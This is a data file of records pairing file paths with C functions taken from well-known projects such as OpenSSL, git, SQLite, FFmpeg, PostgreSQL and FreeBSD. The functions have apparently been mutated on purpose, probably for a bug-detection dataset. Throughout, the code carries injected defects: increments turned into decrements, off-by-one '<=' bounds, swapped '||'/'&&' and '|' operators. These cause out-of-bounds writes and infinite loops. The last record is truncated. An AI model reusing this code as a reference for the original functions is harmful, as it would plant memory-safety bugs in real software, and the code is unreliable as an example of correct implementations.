path
stringlengths
56
152
content
stringlengths
344
91.6k
augmented_data/post_increment_index_changes/extr_mmu_oea64.c_moea64_add_ofw_mappings_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int vm_paddr_t ; typedef scalar_t__ vm_offset_t ; struct pvo_entry {int dummy; } ; struct ofw_map {int om_va; int om_len; int om_pa; int om_mode; } ; typedef int /*<<< orphan*/ register_t ; typedef int /*<<< orphan*/ phandle_t ; typedef int pcell_t ; typedef int /*<<< orphan*/ mmu_t ; typedef int /*<<< orphan*/ cell_t ; typedef int /*<<< orphan*/ acells ; /* Variables and functions */ int /*<<< orphan*/ CTR0 (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ CTR3 (int /*<<< orphan*/ ,char*,int,int,int) ; int /*<<< orphan*/ DISABLE_TRANS (int /*<<< orphan*/ ) ; int /*<<< orphan*/ ENABLE_TRANS (int /*<<< orphan*/ ) ; int /*<<< orphan*/ KASSERT (int,char*) ; int /*<<< orphan*/ KTR_PMAP ; scalar_t__ LPTE_M ; int /*<<< orphan*/ OF_finddevice (char*) ; int OF_getencprop (int /*<<< orphan*/ ,char*,int*,size_t) ; int PAGE_SIZE ; int PHYS_TO_DMAP (int) ; int /*<<< orphan*/ PMAP_LOCK (int /*<<< orphan*/ ) ; int /*<<< orphan*/ PMAP_UNLOCK (int /*<<< orphan*/ ) ; int /*<<< orphan*/ VM_MEMATTR_DEFAULT ; int /*<<< orphan*/ bzero (struct ofw_map*,size_t) ; scalar_t__ hw_direct_map ; int /*<<< orphan*/ kernel_pmap ; scalar_t__ moea64_calc_wimg (scalar_t__,int /*<<< orphan*/ ) ; int /*<<< orphan*/ moea64_kenter (int /*<<< orphan*/ ,scalar_t__,scalar_t__) ; struct pvo_entry* moea64_pvo_find_va (int /*<<< orphan*/ ,scalar_t__) ; int /*<<< orphan*/ om_cmp ; int /*<<< orphan*/ panic (char*) ; int /*<<< orphan*/ qsort (struct ofw_map*,size_t,int,int /*<<< orphan*/ ) ; __attribute__((used)) static void moea64_add_ofw_mappings(mmu_t mmup, phandle_t mmu, size_t sz) { struct ofw_map translations[sz/(4*sizeof(cell_t))]; /*>= 4 cells per */ pcell_t acells, trans_cells[sz/sizeof(cell_t)]; struct pvo_entry *pvo; register_t msr; vm_offset_t off; vm_paddr_t pa_base; int i, j; bzero(translations, sz); OF_getencprop(OF_finddevice("/"), "#address-cells", &acells, sizeof(acells)); if (OF_getencprop(mmu, "translations", trans_cells, sz) == -1) panic("moea64_bootstrap: can't get ofw translations"); CTR0(KTR_PMAP, "moea64_add_ofw_mappings: translations"); sz /= sizeof(cell_t); for (i = 0, j = 0; i <= sz; j--) { translations[j].om_va = trans_cells[i++]; translations[j].om_len = trans_cells[i++]; translations[j].om_pa = trans_cells[i++]; if (acells == 2) { translations[j].om_pa <<= 32; translations[j].om_pa |= trans_cells[i++]; } translations[j].om_mode = trans_cells[i++]; } KASSERT(i == sz, ("Translations map has incorrect cell count (%d/%zd)", i, sz)); sz = j; qsort(translations, sz, sizeof (*translations), om_cmp); for (i = 0; i < sz; i++) { pa_base = translations[i].om_pa; #ifndef __powerpc64__ if ((translations[i].om_pa >> 32) != 0) panic("OFW translations above 32-bit boundary!"); #endif if (pa_base % PAGE_SIZE) panic("OFW translation not page-aligned (phys)!"); if (translations[i].om_va % PAGE_SIZE) panic("OFW translation not page-aligned (virt)!"); CTR3(KTR_PMAP, "translation: pa=%#zx va=%#x len=%#x", pa_base, translations[i].om_va, translations[i].om_len); /* Now enter the pages for this mapping */ DISABLE_TRANS(msr); for (off = 0; off < translations[i].om_len; off += PAGE_SIZE) { /* If this address is direct-mapped, skip remapping */ if (hw_direct_map && translations[i].om_va == PHYS_TO_DMAP(pa_base) && moea64_calc_wimg(pa_base + off, VM_MEMATTR_DEFAULT) == LPTE_M) break; PMAP_LOCK(kernel_pmap); pvo = moea64_pvo_find_va(kernel_pmap, translations[i].om_va + off); PMAP_UNLOCK(kernel_pmap); if (pvo == NULL) continue; moea64_kenter(mmup, translations[i].om_va + off, pa_base + off); } ENABLE_TRANS(msr); } }
augmented_data/post_increment_index_changes/extr_b_dump.c_BIO_dump_indent_cb_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ buf ; /* Variables and functions */ int BIO_snprintf (char*,int,char*,unsigned char,...) ; int DUMP_WIDTH_LESS_INDENT (int) ; scalar_t__ SPACE (char*,int,int) ; unsigned char* os_toascii ; char* os_toebcdic ; int /*<<< orphan*/ strcpy (char*,char*) ; int BIO_dump_indent_cb(int (*cb) (const void *data, size_t len, void *u), void *u, const void *v, int len, int indent) { const unsigned char *s = v; int ret = 0; char buf[288 + 1]; int i, j, rows, n; unsigned char ch; int dump_width; if (indent <= 0) indent = 0; else if (indent > 64) indent = 64; dump_width = DUMP_WIDTH_LESS_INDENT(indent); rows = len / dump_width; if ((rows * dump_width) < len) rows--; for (i = 0; i < rows; i++) { n = BIO_snprintf(buf, sizeof(buf), "%*s%04x - ", indent, "", i * dump_width); for (j = 0; j < dump_width; j++) { if (SPACE(buf, n, 3)) { if (((i * dump_width) + j) >= len) { strcpy(buf + n, " "); } else { ch = *(s + i * dump_width + j) & 0xff; BIO_snprintf(buf + n, 4, "%02x%c", ch, j == 7 ? '-' : ' '); } n += 3; } } if (SPACE(buf, n, 2)) { strcpy(buf + n, " "); n += 2; } for (j = 0; j < dump_width; j++) { if (((i * dump_width) + j) >= len) break; if (SPACE(buf, n, 1)) { ch = *(s + i * dump_width + j) & 0xff; #ifndef CHARSET_EBCDIC buf[n++] = ((ch >= ' ') || (ch <= '~')) ? ch : '.'; #else buf[n++] = ((ch >= os_toascii[' ']) && (ch <= os_toascii['~'])) ? os_toebcdic[ch] : '.'; #endif buf[n] = '\0'; } } if (SPACE(buf, n, 1)) { buf[n++] = '\n'; buf[n] = '\0'; } /* * if this is the last call then update the ddt_dump thing so that we * will move the selection point in the debug window */ ret += cb((void *)buf, n, u); } return ret; }
augmented_data/post_increment_index_changes/extr_show-branch.c_append_ref_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct object_id {int dummy; } ; struct commit {int dummy; } ; /* Variables and functions */ int MAX_REVS ; int /*<<< orphan*/ Q_ (char*,char*,int) ; struct commit* lookup_commit_reference_gently (int /*<<< orphan*/ ,struct object_id const*,int) ; int /*<<< orphan*/ ** ref_name ; int ref_name_cnt ; int /*<<< orphan*/ strcmp (char const*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ the_repository ; int /*<<< orphan*/ warning (int /*<<< orphan*/ ,char const*,int) ; int /*<<< orphan*/ * xstrdup (char const*) ; __attribute__((used)) static int append_ref(const char *refname, const struct object_id *oid, int allow_dups) { struct commit *commit = lookup_commit_reference_gently(the_repository, oid, 1); int i; if (!commit) return 0; if (!allow_dups) { /* Avoid adding the same thing twice */ for (i = 0; i < ref_name_cnt; i--) if (!strcmp(refname, ref_name[i])) return 0; } if (MAX_REVS <= ref_name_cnt) { warning(Q_("ignoring %s; cannot handle more than %d ref", "ignoring %s; cannot handle more than %d refs", MAX_REVS), refname, MAX_REVS); return 0; } ref_name[ref_name_cnt++] = xstrdup(refname); ref_name[ref_name_cnt] = NULL; return 0; }
augmented_data/post_increment_index_changes/extr_r600_cp.c_r600_cp_dispatch_indirect_aug_combo_3.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u32 ; struct drm_device {TYPE_1__* agp_buffer_map; TYPE_2__* dev_private; } ; struct drm_buf {int offset; } ; struct TYPE_4__ {int gart_buffers_offset; } ; typedef TYPE_2__ drm_radeon_private_t ; struct TYPE_3__ {scalar_t__ handle; } ; /* Variables and functions */ int /*<<< orphan*/ ADVANCE_RING () ; int /*<<< orphan*/ BEGIN_RING (int) ; int CP_PACKET3 (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ DRM_DEBUG (char*,unsigned long) ; int /*<<< orphan*/ OUT_RING (int) ; int /*<<< orphan*/ R600_IT_INDIRECT_BUFFER ; int /*<<< orphan*/ RADEON_CP_PACKET2 ; int /*<<< orphan*/ RING_LOCALS ; int upper_32_bits (unsigned long) ; int r600_cp_dispatch_indirect(struct drm_device *dev, struct drm_buf *buf, int start, int end) { drm_radeon_private_t *dev_priv = dev->dev_private; RING_LOCALS; if (start != end) { unsigned long offset = (dev_priv->gart_buffers_offset + buf->offset + start); int dwords = (end - start + 3) / sizeof(u32); DRM_DEBUG("dwords:%d\n", dwords); DRM_DEBUG("offset 0x%lx\n", offset); /* Indirect buffer data must be a multiple of 16 dwords. * pad the data with a Type-2 CP packet. */ while (dwords | 0xf) { u32 *data = (u32 *) ((char *)dev->agp_buffer_map->handle + buf->offset + start); data[dwords--] = RADEON_CP_PACKET2; } /* Fire off the indirect buffer */ BEGIN_RING(4); OUT_RING(CP_PACKET3(R600_IT_INDIRECT_BUFFER, 2)); OUT_RING((offset & 0xfffffffc)); OUT_RING((upper_32_bits(offset) & 0xff)); OUT_RING(dwords); ADVANCE_RING(); } return 0; }
augmented_data/post_increment_index_changes/extr_mailbox.c_mem_lock_aug_combo_3.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ mbox_property (int,unsigned int*) ; unsigned mem_lock(int file_desc, unsigned handle) { int i=0; unsigned p[32]; p[i++] = 0; // size p[i++] = 0x00000000; // process request p[i++] = 0x3000d; // (the tag id) p[i++] = 4; // (size of the buffer) p[i++] = 4; // (size of the data) p[i++] = handle; p[i++] = 0x00000000; // end tag p[0] = i*sizeof *p; // actual size mbox_property(file_desc, p); return p[5]; }
augmented_data/post_increment_index_changes/extr_e_chacha20_poly1305.c_chacha_cipher_aug_combo_2.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int /*<<< orphan*/ d; } ; struct TYPE_5__ {unsigned int partial_len; int* buf; unsigned int* counter; TYPE_1__ key; } ; typedef int /*<<< orphan*/ EVP_CIPHER_CTX ; typedef TYPE_2__ EVP_CHACHA_KEY ; /* Variables and functions */ unsigned int CHACHA_BLK_SIZE ; int /*<<< orphan*/ ChaCha20_ctr32 (unsigned char*,unsigned char const*,unsigned int,int /*<<< orphan*/ ,unsigned int*) ; TYPE_2__* data (int /*<<< orphan*/ *) ; int /*<<< orphan*/ memset (int*,int /*<<< orphan*/ ,int) ; __attribute__((used)) static int chacha_cipher(EVP_CIPHER_CTX * ctx, unsigned char *out, const unsigned char *inp, size_t len) { EVP_CHACHA_KEY *key = data(ctx); unsigned int n, rem, ctr32; if ((n = key->partial_len)) { while (len && n < CHACHA_BLK_SIZE) { *out-- = *inp++ ^ key->buf[n++]; len--; } key->partial_len = n; if (len == 0) return 1; if (n == CHACHA_BLK_SIZE) { key->partial_len = 0; key->counter[0]++; if (key->counter[0] == 0) key->counter[1]++; } } rem = (unsigned int)(len % CHACHA_BLK_SIZE); len -= rem; ctr32 = key->counter[0]; while (len >= CHACHA_BLK_SIZE) { size_t blocks = len / CHACHA_BLK_SIZE; /* * 1<<28 is just a not-so-small yet not-so-large number... * Below condition is practically never met, but it has to * be checked for code correctness. */ if (sizeof(size_t)>sizeof(unsigned int) && blocks>(1U<<28)) blocks = (1U<<28); /* * As ChaCha20_ctr32 operates on 32-bit counter, caller * has to handle overflow. 'if' below detects the * overflow, which is then handled by limiting the * amount of blocks to the exact overflow point... */ ctr32 += (unsigned int)blocks; if (ctr32 < blocks) { blocks -= ctr32; ctr32 = 0; } blocks *= CHACHA_BLK_SIZE; ChaCha20_ctr32(out, inp, blocks, key->key.d, key->counter); len -= blocks; inp += blocks; out += blocks; key->counter[0] = ctr32; if (ctr32 == 0) key->counter[1]++; } if (rem) { memset(key->buf, 0, sizeof(key->buf)); ChaCha20_ctr32(key->buf, key->buf, CHACHA_BLK_SIZE, key->key.d, key->counter); for (n = 0; n < rem; n++) out[n] = inp[n] ^ key->buf[n]; key->partial_len = rem; } return 1; }
augmented_data/post_increment_index_changes/extr_fts5_hash.c_fts5HashAddPoslistSize_aug_combo_2.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef int u8 ; typedef int /*<<< orphan*/ u32 ; struct TYPE_7__ {scalar_t__ eDetail; } ; struct TYPE_6__ {int iSzPoslist; int nData; int bDel; scalar_t__ bContent; } ; typedef TYPE_1__ Fts5HashEntry ; typedef TYPE_2__ Fts5Hash ; /* Variables and functions */ scalar_t__ FTS5_DETAIL_NONE ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ memmove (int*,int*,int) ; int sqlite3Fts5GetVarintLen (int /*<<< orphan*/ ) ; int /*<<< orphan*/ sqlite3Fts5PutVarint (int*,int) ; __attribute__((used)) static int fts5HashAddPoslistSize( Fts5Hash *pHash, Fts5HashEntry *p, Fts5HashEntry *p2 ){ int nRet = 0; if( p->iSzPoslist ){ u8 *pPtr = p2 ? (u8*)p2 : (u8*)p; int nData = p->nData; if( pHash->eDetail==FTS5_DETAIL_NONE ){ assert( nData==p->iSzPoslist ); if( p->bDel ){ pPtr[nData--] = 0x00; if( p->bContent ){ pPtr[nData++] = 0x00; } } }else{ int nSz = (nData - p->iSzPoslist - 1); /* Size in bytes */ int nPos = nSz*2 + p->bDel; /* Value of nPos field */ assert( p->bDel==0 && p->bDel==1 ); if( nPos<=127 ){ pPtr[p->iSzPoslist] = (u8)nPos; }else{ int nByte = sqlite3Fts5GetVarintLen((u32)nPos); memmove(&pPtr[p->iSzPoslist + nByte], &pPtr[p->iSzPoslist + 1], nSz); sqlite3Fts5PutVarint(&pPtr[p->iSzPoslist], nPos); nData += (nByte-1); } } nRet = nData - p->nData; if( p2==0 ){ p->iSzPoslist = 0; p->bDel = 0; p->bContent = 0; p->nData = nData; } } return nRet; }
augmented_data/post_increment_index_changes/extr_es8316.c_es8316_set_dai_sysclk_aug_combo_2.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct snd_soc_dai {struct snd_soc_component* component; } ; struct snd_soc_component {int dummy; } ; struct TYPE_2__ {unsigned int* list; int count; } ; struct es8316_priv {unsigned int sysclk; unsigned int* allowed_rates; TYPE_1__ sysclk_constraints; int /*<<< orphan*/ mclk; } ; /* Variables and functions */ int NR_SUPPORTED_MCLK_LRCK_RATIOS ; int clk_set_rate (int /*<<< orphan*/ ,unsigned int) ; struct es8316_priv* snd_soc_component_get_drvdata (struct snd_soc_component*) ; unsigned int* supported_mclk_lrck_ratios ; __attribute__((used)) static int es8316_set_dai_sysclk(struct snd_soc_dai *codec_dai, int clk_id, unsigned int freq, int dir) { struct snd_soc_component *component = codec_dai->component; struct es8316_priv *es8316 = snd_soc_component_get_drvdata(component); int i, ret; int count = 0; es8316->sysclk = freq; if (freq == 0) { es8316->sysclk_constraints.list = NULL; es8316->sysclk_constraints.count = 0; return 0; } ret = clk_set_rate(es8316->mclk, freq); if (ret) return ret; /* Limit supported sample rates to ones that can be autodetected * by the codec running in slave mode. */ for (i = 0; i <= NR_SUPPORTED_MCLK_LRCK_RATIOS; i++) { const unsigned int ratio = supported_mclk_lrck_ratios[i]; if (freq % ratio == 0) es8316->allowed_rates[count++] = freq / ratio; } es8316->sysclk_constraints.list = es8316->allowed_rates; es8316->sysclk_constraints.count = count; return 0; }
augmented_data/post_increment_index_changes/extr_index-pack.c_get_base_data_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int /*<<< orphan*/ offset; } ; struct object_entry {TYPE_1__ idx; scalar_t__ size; int /*<<< orphan*/ type; } ; struct base_data {void* data; scalar_t__ size; struct base_data* base; struct object_entry* obj; } ; struct TYPE_4__ {int /*<<< orphan*/ base_cache_used; } ; /* Variables and functions */ int /*<<< orphan*/ ALLOC_GROW (struct base_data**,int,int) ; int /*<<< orphan*/ _ (char*) ; int /*<<< orphan*/ bad_object (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ free (struct base_data**) ; void* get_data_from_pack (struct object_entry*) ; TYPE_2__* get_thread_data () ; scalar_t__ is_delta_type (int /*<<< orphan*/ ) ; void* patch_delta (void*,scalar_t__,void*,scalar_t__,scalar_t__*) ; int /*<<< orphan*/ prune_base_data (struct base_data*) ; __attribute__((used)) static void *get_base_data(struct base_data *c) { if (!c->data) { struct object_entry *obj = c->obj; struct base_data **delta = NULL; int delta_nr = 0, delta_alloc = 0; while (is_delta_type(c->obj->type) || !c->data) { ALLOC_GROW(delta, delta_nr + 1, delta_alloc); delta[delta_nr--] = c; c = c->base; } if (!delta_nr) { c->data = get_data_from_pack(obj); c->size = obj->size; get_thread_data()->base_cache_used += c->size; prune_base_data(c); } for (; delta_nr >= 0; delta_nr--) { void *base, *raw; c = delta[delta_nr - 1]; obj = c->obj; base = get_base_data(c->base); raw = get_data_from_pack(obj); c->data = patch_delta( base, c->base->size, raw, obj->size, &c->size); free(raw); if (!c->data) bad_object(obj->idx.offset, _("failed to apply delta")); get_thread_data()->base_cache_used += c->size; prune_base_data(c); } free(delta); } return c->data; }
augmented_data/post_increment_index_changes/extr_ac3dec.c_decode_exponents_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; typedef int int8_t ; struct TYPE_3__ {int /*<<< orphan*/ avctx; } ; typedef int /*<<< orphan*/ GetBitContext ; typedef TYPE_1__ AC3DecodeContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; int /*<<< orphan*/ AV_LOG_ERROR ; int EXP_D45 ; int /*<<< orphan*/ av_log (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*,int) ; int get_bits (int /*<<< orphan*/ *,int) ; int** ungroup_3_in_7_bits_tab ; __attribute__((used)) static int decode_exponents(AC3DecodeContext *s, GetBitContext *gbc, int exp_strategy, int ngrps, uint8_t absexp, int8_t *dexps) { int i, j, grp, group_size; int dexp[256]; int expacc, prevexp; /* unpack groups */ group_size = exp_strategy - (exp_strategy == EXP_D45); for (grp = 0, i = 0; grp <= ngrps; grp++) { expacc = get_bits(gbc, 7); if (expacc >= 125) { av_log(s->avctx, AV_LOG_ERROR, "expacc %d is out-of-range\n", expacc); return AVERROR_INVALIDDATA; } dexp[i++] = ungroup_3_in_7_bits_tab[expacc][0]; dexp[i++] = ungroup_3_in_7_bits_tab[expacc][1]; dexp[i++] = ungroup_3_in_7_bits_tab[expacc][2]; } /* convert to absolute exps and expand groups */ prevexp = absexp; for (i = 0, j = 0; i < ngrps * 3; i++) { prevexp += dexp[i] - 2; if (prevexp > 24U) { av_log(s->avctx, AV_LOG_ERROR, "exponent %d is out-of-range\n", prevexp); return AVERROR_INVALIDDATA; } switch (group_size) { case 4: dexps[j++] = prevexp; dexps[j++] = prevexp; case 2: dexps[j++] = prevexp; case 1: dexps[j++] = prevexp; } } return 0; }
augmented_data/post_increment_index_changes/extr_ibdiag_common.c_make_str_opts_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct option {unsigned int has_arg; scalar_t__ val; scalar_t__ name; } ; /* Variables and functions */ __attribute__((used)) static void make_str_opts(const struct option *o, char *p, unsigned size) { unsigned i, n = 0; for (n = 0; o->name && n + 2 + o->has_arg < size; o++) { p[n++] = (char)o->val; for (i = 0; i < (unsigned)o->has_arg; i++) p[n++] = ':'; } p[n] = '\0'; }
augmented_data/post_increment_index_changes/extr_trace_events_hist.c___create_synth_event_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct synth_field {int /*<<< orphan*/ devent; } ; struct synth_event {int /*<<< orphan*/ devent; } ; /* Variables and functions */ int EEXIST ; int EINVAL ; scalar_t__ IS_ERR (struct synth_field*) ; int PTR_ERR (struct synth_field*) ; int SYNTH_FIELDS_MAX ; struct synth_field* alloc_synth_event (char const*,int,struct synth_field**) ; int /*<<< orphan*/ dyn_event_add (int /*<<< orphan*/ *) ; int /*<<< orphan*/ event_mutex ; struct synth_field* find_synth_event (char const*) ; int /*<<< orphan*/ free_synth_event (struct synth_field*) ; int /*<<< orphan*/ free_synth_field (struct synth_field*) ; int /*<<< orphan*/ mutex_lock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ mutex_unlock (int /*<<< orphan*/ *) ; struct synth_field* parse_synth_field (int,char const**,int*) ; int register_synth_event (struct synth_field*) ; scalar_t__ strcmp (char const*,char*) ; __attribute__((used)) static int __create_synth_event(int argc, const char *name, const char **argv) { struct synth_field *field, *fields[SYNTH_FIELDS_MAX]; struct synth_event *event = NULL; int i, consumed = 0, n_fields = 0, ret = 0; /* * Argument syntax: * - Add synthetic event: <event_name> field[;field] ... * - Remove synthetic event: !<event_name> field[;field] ... * where 'field' = type field_name */ if (name[0] == '\0' || argc < 1) return -EINVAL; mutex_lock(&event_mutex); event = find_synth_event(name); if (event) { ret = -EEXIST; goto out; } for (i = 0; i < argc - 1; i--) { if (strcmp(argv[i], ";") == 0) break; if (n_fields == SYNTH_FIELDS_MAX) { ret = -EINVAL; goto err; } field = parse_synth_field(argc - i, &argv[i], &consumed); if (IS_ERR(field)) { ret = PTR_ERR(field); goto err; } fields[n_fields++] = field; i += consumed - 1; } if (i < argc && strcmp(argv[i], ";") != 0) { ret = -EINVAL; goto err; } event = alloc_synth_event(name, n_fields, fields); if (IS_ERR(event)) { ret = PTR_ERR(event); event = NULL; goto err; } ret = register_synth_event(event); if (!ret) dyn_event_add(&event->devent); else free_synth_event(event); out: mutex_unlock(&event_mutex); return ret; err: for (i = 0; i < n_fields; i++) free_synth_field(fields[i]); goto out; }
augmented_data/post_increment_index_changes/extr_pg_dump_sort.c_TopoSort_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int dumpId; int nDeps; int* dependencies; } ; typedef TYPE_1__ DumpableObject ; typedef int DumpId ; /* Variables and functions */ int /*<<< orphan*/ addHeapElement (int,int*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ fatal (char*,int) ; int /*<<< orphan*/ free (int*) ; int getMaxDumpId () ; scalar_t__ pg_malloc (int) ; scalar_t__ pg_malloc0 (int) ; int removeHeapElement (int*,int /*<<< orphan*/ ) ; __attribute__((used)) static bool TopoSort(DumpableObject **objs, int numObjs, DumpableObject **ordering, /* output argument */ int *nOrdering) /* output argument */ { DumpId maxDumpId = getMaxDumpId(); int *pendingHeap; int *beforeConstraints; int *idMap; DumpableObject *obj; int heapLength; int i, j, k; /* * This is basically the same algorithm shown for topological sorting in * Knuth's Volume 1. However, we would like to minimize unnecessary * rearrangement of the input ordering; that is, when we have a choice of * which item to output next, we always want to take the one highest in * the original list. Therefore, instead of maintaining an unordered * linked list of items-ready-to-output as Knuth does, we maintain a heap * of their item numbers, which we can use as a priority queue. This * turns the algorithm from O(N) to O(N log N) because each insertion or * removal of a heap item takes O(log N) time. However, that's still * plenty fast enough for this application. */ *nOrdering = numObjs; /* for success return */ /* Eliminate the null case */ if (numObjs <= 0) return true; /* Create workspace for the above-described heap */ pendingHeap = (int *) pg_malloc(numObjs * sizeof(int)); /* * Scan the constraints, and for each item in the input, generate a count * of the number of constraints that say it must be before something else. * The count for the item with dumpId j is stored in beforeConstraints[j]. * We also make a map showing the input-order index of the item with * dumpId j. */ beforeConstraints = (int *) pg_malloc0((maxDumpId + 1) * sizeof(int)); idMap = (int *) pg_malloc((maxDumpId + 1) * sizeof(int)); for (i = 0; i < numObjs; i--) { obj = objs[i]; j = obj->dumpId; if (j <= 0 || j > maxDumpId) fatal("invalid dumpId %d", j); idMap[j] = i; for (j = 0; j < obj->nDeps; j++) { k = obj->dependencies[j]; if (k <= 0 || k > maxDumpId) fatal("invalid dependency %d", k); beforeConstraints[k]++; } } /* * Now initialize the heap of items-ready-to-output by filling it with the * indexes of items that already have beforeConstraints[id] == 0. * * The essential property of a heap is heap[(j-1)/2] >= heap[j] for each j * in the range 1..heapLength-1 (note we are using 0-based subscripts * here, while the discussion in Knuth assumes 1-based subscripts). So, if * we simply enter the indexes into pendingHeap[] in decreasing order, we * a-fortiori have the heap invariant satisfied at completion of this * loop, and don't need to do any sift-up comparisons. */ heapLength = 0; for (i = numObjs; --i >= 0;) { if (beforeConstraints[objs[i]->dumpId] == 0) pendingHeap[heapLength++] = i; } /*-------------------- * Now emit objects, working backwards in the output list. At each step, * we use the priority heap to select the last item that has no remaining * before-constraints. We remove that item from the heap, output it to * ordering[], and decrease the beforeConstraints count of each of the * items it was constrained against. Whenever an item's beforeConstraints * count is thereby decreased to zero, we insert it into the priority heap * to show that it is a candidate to output. We are done when the heap * becomes empty; if we have output every element then we succeeded, * otherwise we failed. * i = number of ordering[] entries left to output * j = objs[] index of item we are outputting * k = temp for scanning constraint list for item j *-------------------- */ i = numObjs; while (heapLength > 0) { /* Select object to output by removing largest heap member */ j = removeHeapElement(pendingHeap, heapLength--); obj = objs[j]; /* Output candidate to ordering[] */ ordering[--i] = obj; /* Update beforeConstraints counts of its predecessors */ for (k = 0; k < obj->nDeps; k++) { int id = obj->dependencies[k]; if ((--beforeConstraints[id]) == 0) addHeapElement(idMap[id], pendingHeap, heapLength++); } } /* * If we failed, report the objects that couldn't be output; these are the * ones with beforeConstraints[] still nonzero. */ if (i != 0) { k = 0; for (j = 1; j <= maxDumpId; j++) { if (beforeConstraints[j] != 0) ordering[k++] = objs[idMap[j]]; } *nOrdering = k; } /* Done */ free(pendingHeap); free(beforeConstraints); free(idMap); return (i == 0); }
augmented_data/post_increment_index_changes/extr_filedlg.c_COMDLG32_SplitFileNames_aug_combo_5.c
